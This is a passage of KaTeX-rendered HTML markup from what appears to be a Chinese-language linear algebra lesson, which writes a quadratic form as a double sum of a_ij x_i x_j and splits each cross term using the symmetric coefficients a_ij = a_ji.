class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">nn</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">2</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">2</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">13</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9305em;vertical-align:-0.2861em;"></span><span class="mord">2</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p></p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi><mo>≥</mo><mi>i</mi></mrow><annotation encoding="application/x-tex"> j \geq i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 时，取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub><mo>=</mo><msub><mi>a</mi><mrow><mi>j</mi><mi>i</mi></mrow></msub></mrow><annotation encoding="application/x-tex"> a_{ij} = a_{ji} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">ij</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ji</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>，则拆分得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><msub><mi>a</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub><msub><mi>x</mi><mi>i</mi></msub><msub><mi>x</mi><mi>j</mi></msub><mo>=</mo><msub><mi>a</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub><msub><mi>x</mi><mi>i</mi></msub><msub><mi>x</mi><mi>j</mi></msub><mo>+</mo><msub><mi>a</mi><mrow><mi>j</mi><mi>i</mi></mrow></msub><msub><mi>x</mi><mi>j</mi></msub><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">2a_{ij}x_i x_j = a_{ij}x_ix_j + a_{ji}x_jx_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9305em;vertical-align:-0.2861em;"></span><span class="mord">2</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">ij</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">ij</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ji</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>x</mi><mi>n</mi></msub><mo stretchy="false">)</mo><mo>=</mo><msub><mi>a</mi><mn>11</mn></msub><msubsup><mi>x</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msub><mi>a</mi><mn>12</mn></msub><msub><mi>x</mi><mn>1</mn></msub><msub><mi>x</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mrow><mn>1</mn><mi>n</mi></mrow></msub><msub><mi>x</mi><mn>1</mn></msub><msub><mi>x</mi><mi>n</mi></msub><mo>+</mo><msub><mi>a</mi><mn>21</mn></msub><msub><mi>x</mi><mn>2</mn></msub><msub><mi>x</mi><mn>1</mn></msub><mo>+</mo><msub><mi>a</mi><mn>22</mn></msub><msubsup><mi>x</mi><mn>2</mn><mn>2</mn></msubsup><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mrow><mn>2</mn><mi>n</mi></mrow></msub><msub><mi>x</mi><mn>2</mn></msub><msub><mi>x</mi><mi>n</mi></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mrow><mi>n</mi><mn>1</mn></mrow></msub><msub><mi>x</mi><mi>n</mi></msub><msub><mi>x</mi><mn>1</mn></msub><mo>+</mo><msub><mi>a</mi><mrow><mi>n</mi><mn>2</mn></mrow></msub><msub><mi>x</mi><mi>n</mi></msub><msub><mi>x</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mrow><mi>n</mi><mi>n</mi></mrow></msub><msubsup><mi>x</mi><mi>n</mi><mn>2</mn></msubsup><mo>=</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><munderover><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><msub><mi>a</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub><msub><mi>x</mi><mi>i</mi></msub><msub><mi>x</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">f(x_1, x_2, \ldots, x_n) = a_{11} x_1^2 + a_{12} x_1 x_2 + \ldots + a_{1n} x_1 x_n + a_{21} x_2 x_1 + a_{22} x_2^2 + \ldots + a_{2n} x_2 x_n + \ldots + a_{n1} x_n x_1 + a_{n2} x_n x_2 + \ldots + a_{nn} x_n^2 = \sum_{i=1}^{n} \sum_{j=1}^{n} a_{ij} x_i x_j </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" 